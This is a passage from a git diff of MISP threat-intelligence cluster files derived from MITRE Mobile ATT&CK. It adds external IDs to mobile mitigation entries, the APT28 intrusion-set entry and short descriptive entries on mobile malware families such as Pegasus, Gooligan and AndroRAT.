"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1065", + "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/" + ], + "external_id": "MOB-T1065", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:supply-chain" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "b928b94a-4966-4e2a-9e61-36505b896ebc" + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-mobile-attack-course-of-action.json b/clusters/mitre-mobile-attack-course-of-action.json index 73063cb..f009833 100644 --- a/clusters/mitre-mobile-attack-course-of-action.json +++ b/clusters/mitre-mobile-attack-course-of-action.json @@ -1,83 +1,125 @@ { - "name": "Mobile Attack - Course of Action", - "type": "mitre-mobile-attack-course-of-action", - "description": "ATT&CK Mitigation", - "version": 2, - "source": "https://github.com/mitre/cti", - "uuid": "03956f9e-1708-11e8-8395-976b24233e15", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.", - "value": "Deploy Compromised Device Detection Method - MOB-M1010", - "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433" - }, - { - "description": "In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).", - "value": "Interconnection Filtering - MOB-M1014", - "uuid": "e829ee51-1caf-4665-ba15-7f8979634124" - }, - { - "description": "Application developers should use device-provided credential storage mechanisms such as Android's KeyStore or iOS's KeyChain. These can prevent credentials from being exposed to an adversary.", - "value": "Use Device-Provided Credential Storage - MOB-M1008", - "uuid": "d2a199d2-dfea-4d0c-987d-6195ed17be9c" - }, - { - "description": "New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.", - "value": "Use Recent OS Version - MOB-M1006", - "uuid": "0beabf44-e8d8-4ae4-9122-ef56369a2564" - }, - { - "description": "Install security updates in response to discovered vulnerabilities.\n\nPurchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.\n\nDecommission devices that will no longer receive security updates.\n\nLimit or block access to enterprise resources from devices that have not installed recent security updates.\n* On Android devices, access can be controlled based on each device's security patch level.\n* On iOS devices, access can be controlled based on the iOS version.", - "value": "Security Updates - MOB-M1001", - "uuid": "bcecd036-f40e-4916-9f8e-fd0ccf0ece8d" - }, - { - "description": "On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.", - "value": "Lock Bootloader - MOB-M1003", - "uuid": "8ccd428d-39da-4e8f-a55b-d48ea1d56e58" - }, - { - "description": "Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.", - "value": "System Partition Integrity - MOB-M1004", - "uuid": "7b1cf46f-784b-405a-a8dd-4624c19d8321" - }, - { - "description": "Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.", - "value": "Attestation - MOB-M1002", - "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c" - }, - { - "description": "Warn device users not to accept requests to grant Device Administrator access to applications without good reason.\n\nAdditionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.", - "value": "Caution with Device Administrator Access - MOB-M1007", - "uuid": "e944670c-d03a-4e93-a21c-b3d4c53ec4c9" - }, - { - "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.", - "value": "Application Developer Guidance - MOB-M1013", - "uuid": "25dc1ce8-eb55-4333-ae30-a7cb4f5894a1" - }, - { - "description": "Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.\n\nEnterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.\n\nApplication Vetting is not a complete mitigation. Techniques such as Detect App Analysis Environment exist that can enable adversaries to bypass vetting.", - "value": "Application Vetting - MOB-M1005", - "uuid": "1553b156-6767-47f7-9eb4-2a692505666d" - }, - { - "description": "Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.", - "value": "User Guidance - MOB-M1011", - "uuid": "653492e3-27be-4a0e-b08c-938dd2b7e0e1" - }, - { - "description": "An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.", - "value": "Enterprise Policy - MOB-M1012", - "uuid": "649f7268-4c12-483b-ac84-4b7bca9fe2ee" - }, - { - "description": "Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.\n\niOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.\n\nAndroid's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).\n\nUse of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.", - "value": "Encrypt Network Traffic - MOB-M1009", - "uuid": "8220b57e-c400-4525-bf69-f8edc6b389a8" - } - ] -} + "name": "Mobile Attack - Course of Action", + "type": "mitre-mobile-attack-course-of-action", + "description": "ATT&CK Mitigation", + "version": 3, + "source": "https://github.com/mitre/cti", + "uuid": "03956f9e-1708-11e8-8395-976b24233e15", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.", + "value": "Deploy Compromised Device Detection Method - MOB-M1010", + "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433", + "meta": { + "external_id": "MOB-M1010" + } + }, + { + "description": "In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).", + "value": "Interconnection Filtering - MOB-M1014", + "uuid": "e829ee51-1caf-4665-ba15-7f8979634124", + "meta": { + "external_id": "MOB-M1014" + } + }, + { + "description": "Application developers should use device-provided credential storage mechanisms such as Android's KeyStore or iOS's KeyChain. These can prevent credentials from being exposed to an adversary.", + "value": "Use Device-Provided Credential Storage - MOB-M1008", + "uuid": "d2a199d2-dfea-4d0c-987d-6195ed17be9c", + "meta": { + "external_id": "MOB-M1008" + } + }, + { + "description": "New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.", + "value": "Use Recent OS Version - MOB-M1006", + "uuid": "0beabf44-e8d8-4ae4-9122-ef56369a2564", + "meta": { + "external_id": "MOB-M1006" + } + }, + { + "description": "Install security updates in response to discovered vulnerabilities.\n\nPurchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.\n\nDecommission devices that will no longer receive security updates.\n\nLimit or block access to enterprise resources from devices that have not installed recent security updates.\n* On Android devices, access can be controlled based on each device's security patch level.\n* On iOS devices, access can be controlled based on the iOS version.", + "value": "Security Updates - MOB-M1001", + "uuid": "bcecd036-f40e-4916-9f8e-fd0ccf0ece8d", + "meta": { + "external_id": "MOB-M1001" + } + }, + { + "description": "On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.", + "value": "Lock Bootloader - MOB-M1003", + "uuid": "8ccd428d-39da-4e8f-a55b-d48ea1d56e58", + "meta": { + "external_id": "MOB-M1003" + } + }, + { + "description": "Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.", + "value": "System Partition Integrity - MOB-M1004", + "uuid": "7b1cf46f-784b-405a-a8dd-4624c19d8321", + "meta": { + "external_id": "MOB-M1004" + } + }, + { + "description": "Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.", + "value": "Attestation - MOB-M1002", + "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c", + "meta": { + "external_id": "MOB-M1002" + } + }, + { + "description": "Warn device users not to accept requests to grant Device Administrator access to applications without good reason.\n\nAdditionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.", + "value": "Caution with Device Administrator Access - MOB-M1007", + "uuid": "e944670c-d03a-4e93-a21c-b3d4c53ec4c9", + "meta": { + "external_id": "MOB-M1007" + } + }, + { + "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.", + "value": "Application Developer Guidance - MOB-M1013", + "uuid": "25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", + "meta": { + "external_id": "MOB-M1013" + } + }, + { + "description": "Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.\n\nEnterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.\n\nApplication Vetting is not a complete mitigation. Techniques such as Detect App Analysis Environment exist that can enable adversaries to bypass vetting.", + "value": "Application Vetting - MOB-M1005", + "uuid": "1553b156-6767-47f7-9eb4-2a692505666d", + "meta": { + "external_id": "MOB-M1005" + } + }, + { + "description": "Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.", + "value": "User Guidance - MOB-M1011", + "uuid": "653492e3-27be-4a0e-b08c-938dd2b7e0e1", + "meta": { + "external_id": "MOB-M1011" + } + }, + { + "description": "An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.", + "value": "Enterprise Policy - MOB-M1012", + "uuid": "649f7268-4c12-483b-ac84-4b7bca9fe2ee", + "meta": { + "external_id": "MOB-M1012" + } + }, + { + "description": "Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.\n\niOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.\n\nAndroid's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).\n\nUse of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.", + "value": "Encrypt Network Traffic - MOB-M1009", + "uuid": "8220b57e-c400-4525-bf69-f8edc6b389a8", + "meta": { + "external_id": "MOB-M1009" + } + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-mobile-attack-intrusion-set.json b/clusters/mitre-mobile-attack-intrusion-set.json index 406198a..fc8b89e 100644 --- a/clusters/mitre-mobile-attack-intrusion-set.json +++ b/clusters/mitre-mobile-attack-intrusion-set.json @@ -1,37 +1,38 @@ { - "name": "Mobile Attack - intrusion Set", - "type": "mitre-mobile-attack-intrusion-set", - "description": "Name of ATT&CK Group", - "version": 2, - "source": "https://github.com/mitre/cti", - "uuid": "02ab4018-1708-11e8-8f9d-e735aabdfa53", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)", - "value": "APT28 - G0007", - "meta": { - "synonyms": [ - "APT28", - "Sednit", - "Sofacy", - "Pawn Storm", - "Fancy Bear", - "STRONTIUM", - "Tsar Team", - "Threat Group-4127", - "TG-4127" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0007", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", - "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" - ] - }, - "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c" - } - ] -} + "name": "Mobile Attack - intrusion Set", + "type": "mitre-mobile-attack-intrusion-set", + "description": "Name of ATT&CK Group", + "version": 3, + "source": "https://github.com/mitre/cti", + "uuid": "02ab4018-1708-11e8-8f9d-e735aabdfa53", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)", + "value": "APT28 - G0007", + "meta": { + "synonyms": [ + "APT28", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0007", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" + ], + "external_id": "G0007" + }, + "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c" + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-mobile-attack-malware.json b/clusters/mitre-mobile-attack-malware.json index 6c746fe..609a5c9 100644 --- a/clusters/mitre-mobile-attack-malware.json +++ b/clusters/mitre-mobile-attack-malware.json @@ -1,511 +1,546 @@ { - "name": "Mobile Attack - Malware", - "type": "mitre-mobile-attack-malware", - "description": "Name of ATT&CK software", - "version": 2, - "source": "https://github.com/mitre/cti", - "uuid": "04a165aa-1708-11e8-b2da-c7d7625f4a4f", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "AndroRAT \"allows a third party to control the device and collect information such as contacts, call logs, text messages, device location, and audio from the microphone. It is now used maliciously by other actors.\" (Citation: Lookout-EnterpriseApps)\n\nAliases: AndroRAT", - "value": "AndroRAT - MOB-S0008", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0008", - "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" - ], - "synonyms": [ - "AndroRAT" - ] - }, - "uuid": "a3dad2be-ce62-4440-953b-00fbce7aba93" - }, - { - "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.Agent.ao", - "value": "Trojan-SMS.AndroidOS.Agent.ao - MOB-S0023", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0023", - "https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/" - ], - "synonyms": [ - "Trojan-SMS.AndroidOS.Agent.ao" - ] - }, - "uuid": "a1867c56-8c86-455a-96ad-b0d5f7e2bc17" - }, - { - "description": "DualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB (Citation: PaloAlto-DualToy).\n\nAliases: DualToy", - "value": "DualToy - MOB-S0031", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0031" - ], - "synonyms": [ - "DualToy" - ] - }, - "uuid": "507fe748-5e4a-4b45-9e9f-8b1115f4e878" - }, - { - "description": "On jailbroken iOS devices, (Citation: KeyRaider) steals Apple account credentials and other data. It \"also has built-in functionality to hold iOS devices for ransom.\" (Citation: KeyRaider)\n\nAliases: (Citation: KeyRaider)", - "value": "KeyRaider - MOB-S0004", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0004", - "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/" - ], - "synonyms": [ - "KeyRaider" - ] - }, - "uuid": "3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50" - }, - { - "description": "Brain Test is a family of Android malware described by CheckPoint (Citation: CheckPoint-BrainTest) and Lookout (Citation: Lookout-BrainTest).\n\nAliases: BrainTest", - "value": "BrainTest - MOB-S0009", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0009", - "http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/", - "https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/" - ], - "synonyms": [ - "BrainTest" - ] - }, - "uuid": "e13d084c-382f-40fd-aa9a-98d69e20301e" - }, - { - "description": "Lookout states that some variants of the Shedun, Shuanet, and ShiftyBug/Kemoge Android malware families \"have 71 percent to 82 percent code similarity\" (Citation: Lookout-Adware), even though they \"don’t believe these apps were all created by the same author or group\".\n\nAliases: Shedun, Shuanet, ShiftyBug, Kemoge", - "value": "Shedun - MOB-S0010", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0010", - "https://blog.lookout.com/blog/2015/11/04/trojanized-adware/" - ], - "synonyms": [ - "Shedun", - "Shuanet", - "ShiftyBug", - "Kemoge" - ] - }, - "uuid": "c80a6bef-b3ce-44d0-b113-946e93124898" - }, - { - "description": "Android malware family analyzed by Trend Micro (Citation: TrendMicro-DressCode)\n\nAliases: DressCode", - "value": "DressCode - MOB-S0016", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0016", - "http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/" - ], - "synonyms": [ - "DressCode" - ] - }, - "uuid": "ff742eeb-1f90-4f5a-8b92-9d40fffd99ca" - }, - { - "description": "Adups, software pre-installed onto Android devices including those made by BLU Products, reportedly transmitted sensitive data to a Chinese server. The capability was reportedly designed \"to help a Chinese phone manufacturer monitor user behavior\" and \"was not intended for American phones\". (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor).\n\nAliases: Adups", - "value": "Adups - MOB-S0025", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0025", - "https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html", - "http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534" - ], - "synonyms": [ - "Adups" - ] - }, - "uuid": "f6ac21b6-2592-400c-8472-10d0e2f1bfaf" - }, - { - "description": "Discovered by Lookout (Citation: Lookout-Pegasus) and Citizen Lab (Citation: PegasusCitizenLab), Pegasus escalates privileges on iOS devices and uses its privileged access to collect a variety of sensitive information.\n\nAliases: Pegasus", - "value": "Pegasus - MOB-S0005", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0005", - "https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf", - "https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" - ], - "synonyms": [ - "Pegasus" - ] - }, - "uuid": "33d9d91d-aad9-49d5-a516-220ce101ac8a" - }, - { - "description": "RuMMS is a family of Android malware (Citation: FireEye-RuMMS).\n\nAliases: RuMMS", - "value": "RuMMS - MOB-S0029", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0029", - "https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html" - ], - "synonyms": [ - "RuMMS" - ] - }, - "uuid": "936be60d-90eb-4c36-9247-4b31128432c4" - }, - { - "description": "HummingBad is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android (Citation: ArsTechnica-HummingBad).\n\nAliases: HummingBad", - "value": "HummingBad - MOB-S0038", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0038", - "http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/" - ], - "synonyms": [ - "HummingBad" - ] - }, - "uuid": "c8770c81-c29f-40d2-a140-38544206b2b4" - }, - { - "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.OpFake.a", - "value": "Trojan-SMS.AndroidOS.OpFake.a - MOB-S0024", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0024", - "https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/" - ], - "synonyms": [ - "Trojan-SMS.AndroidOS.OpFake.a" - ] - }, - "uuid": "d89c132d-7752-4c7f-9372-954a71522985" - }, - { - "description": "Android malware family analyzed by Lookout (Citation: Lookout-Dendroid).\n\nAliases: Dendroid", - "value": "Dendroid - MOB-S0017", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0017", - "https://blog.lookout.com/blog/2014/03/06/dendroid/" - ], - "synonyms": [ - "Dendroid" - ] - }, - "uuid": "317a2c10-d489-431e-b6b2-f0251fddc88e" - }, - { - "description": "Android malware analyzed by Scandinavian security group CSIS as described in a Tripwire post (Citation: Tripwire-MazarBOT).\n\nAliases: MazarBOT", - "value": "MazarBOT - MOB-S0019", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0019", - "https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/" - ], - "synonyms": [ - "MazarBOT" - ] - }, - "uuid": "5ddf81ea-2c06-497b-8c30-5f1ab89a40f9" - }, - { - "description": "The (Citation: Gooligan) malware family, revealed by Check Point, runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal \"authentication tokens that can be used to access data from Google Play, Gmail, Google Photos, Google Docs, G Suite, Google Drive, and more.\" (Citation: Gooligan)\n\nGoogle (Citation: Ludwig-GhostPush) and LookoutLookout- (Citation: Gooligan) describe (Citation: Gooligan) as part of the Ghost Push Android malware family.\n\nAliases: (Citation: Gooligan)", - "value": "Gooligan - MOB-S0006", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0006", - "http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/", - "https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi" - ], - "synonyms": [ - "Gooligan" - ] - }, - "uuid": "20d56cd6-8dff-4871-9889-d32d254816de" - }, - { - "description": "OldBoot is a family of Android malware described in a report from The Hacker News (Citation: HackerNews-OldBoot).\n\nAliases: OldBoot", - "value": "OldBoot - MOB-S0001", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0001", - "http://thehackernews.com/2014/01/first-widely-distributed-android.html" - ], - "synonyms": [ - "OldBoot" - ] - }, - "uuid": "2074b2ad-612e-4758-adce-7901c1b49bbc" - }, - { - "description": "WireLurker is a family of macOS malware that targets iOS devices connected over USB (Citation: PaloAlto-WireLurker).\n\nAliases: WireLurker", - "value": "WireLurker - MOB-S0028", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0028" - ], - "synonyms": [ - "WireLurker" - ] - }, - "uuid": "326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb" - }, - { - "description": "Android remote access trojan (RAT) that has been observed to pose as legitimate applications including the Super Mario Run (Citation: Zscaler-SuperMarioRun) and Pokemon GO games (Citation: Proofpoint-Droidjack).\n\nAliases: DroidJack RAT", - "value": "DroidJack RAT - MOB-S0036", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0036", - "https://www.zscaler.com/blogs/research/super-mario-run-malware-2-–-droidjack-rat", - "https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app" - ], - "synonyms": [ - "DroidJack RAT" - ] - }, - "uuid": "05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1" - }, - { - "description": "The HummingWhale Android malware family \"includes new virtual machine techniques that allow the malware to perform ad fraud better than ever\". (Citation: ArsTechnica-HummingWhale)\n\nAliases: HummingWhale", - "value": "HummingWhale - MOB-S0037", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0037", - "http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/" - ], - "synonyms": [ - "HummingWhale" - ] - }, - "uuid": "6447e3a1-ef4d-44b1-99d5-6b1c4888674f" - }, - { - "description": "ANDROIDOS_ANSERVER.A is Android malware novel for using encrypted content within a blog site for command and control (Citation: TrendMicro-Anserver).\n\nAliases: ANDROIDOS_ANSERVER.A", - "value": "ANDROIDOS_ANSERVER.A - MOB-S0026", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0026", - "http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/" - ], - "synonyms": [ - "ANDROIDOS_ANSERVER.A" - ] - }, - "uuid": "4bf6ba32-4165-42c1-b911-9c36165891c8" - }, - { - "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.FakeInst.a", - "value": "Trojan-SMS.AndroidOS.FakeInst.a - MOB-S0022", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0022", - "https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/" - ], - "synonyms": [ - "Trojan-SMS.AndroidOS.FakeInst.a" - ] - }, - "uuid": "28e39395-91e7-4f02-b694-5e079c964da9" - }, - { - "description": "Android malware family analyzed by Lookout (Citation: Lookout-NotCompatible)\n\nAliases: NotCompatible", - "value": "NotCompatible - MOB-S0015", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0015", - "https://blog.lookout.com/blog/2014/11/19/notcompatible/" - ], - "synonyms": [ - "NotCompatible" - ] - }, - "uuid": "23040c15-e7d8-47b5-8c16-8fd3e0e297fe" - }, - { - "description": "The X-Agent Android malware was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data for where it was used and hence the potential location of Ukrainian artillery (Citation: CrowdStrike-Android).\n\nAliases: X-Agent", - "value": "X-Agent - MOB-S0030", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0030", - "https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf" - ], - "synonyms": [ - "X-Agent" - ] - }, - "uuid": "56660521-6db4-4e5a-a927-464f22954b7c" - }, - { - "description": "Twitoor is a family of Android malware described by ESET (Citation: ESET-Twitoor).\n\nAliases: Twitoor", - "value": "Twitoor - MOB-S0018", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0018", - "http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/" - ], - "synonyms": [ - "Twitoor" - ] - }, - "uuid": "41e3fd01-7b83-471f-835d-d2b1dc9a770c" - }, - { - "description": "OBAD is a family of Android malware (Citation: TrendMicro-Obad).\n\nAliases: OBAD", - "value": "OBAD - MOB-S0002", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0002", - "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/" - ], - "synonyms": [ - "OBAD" - ] - }, - "uuid": "ca4f63b9-a358-4214-bb26-8c912318cfde" - }, - { - "description": "As reported by Kaspersky (Citation: Kaspersky-WUC), a spear phishing message was sent to activist groups containing a malicious Android application as an attachment.\n\nAliases: Android/Chuli.A", - "value": "Android/Chuli.A - MOB-S0020", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0020", - "https://securelist.com/blog/incidents/35552/android-trojan-found-in-targeted-attack-58/" - ], - "synonyms": [ - "Android/Chuli.A" - ] - }, - "uuid": "d05f7357-4cbe-47ea-bf83-b8604226d533" - }, - { - "description": "According to Lookout (Citation: Lookout-EnterpriseApps), the PJApps Android malware family \"may collect and leak the victim’s phone number, mobile device unique identifier (IMEI), and location. In order to make money, it may send messages to premium SMS numbers. PJApps also has the ability to download further applications to the device.\"\n\nAliases: PJApps", - "value": "PJApps - MOB-S0007", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0007", - "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" - ], - "synonyms": [ - "PJApps" - ] - }, - "uuid": "c709da93-20c3-4d17-ab68-48cba76b2137" - }, - { - "description": "Android malware analyzed by FireEye (Citation: FireEye-AndroidOverlay).\nAccording to their analysis, \"three campaigns in Europe used view overlay techniques...to present nearly identical credential input UIs as seen in benign apps, subsequently tricking unwary users into providing their banking credentials.\"\n\nAliases: AndroidOverlayMalware", - "value": "AndroidOverlayMalware - MOB-S0012", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0012", - "https://www.fireeye.com/blog/threat-research/2016/06/latest-android-overlay-malware-spreading-in-europe.html" - ], 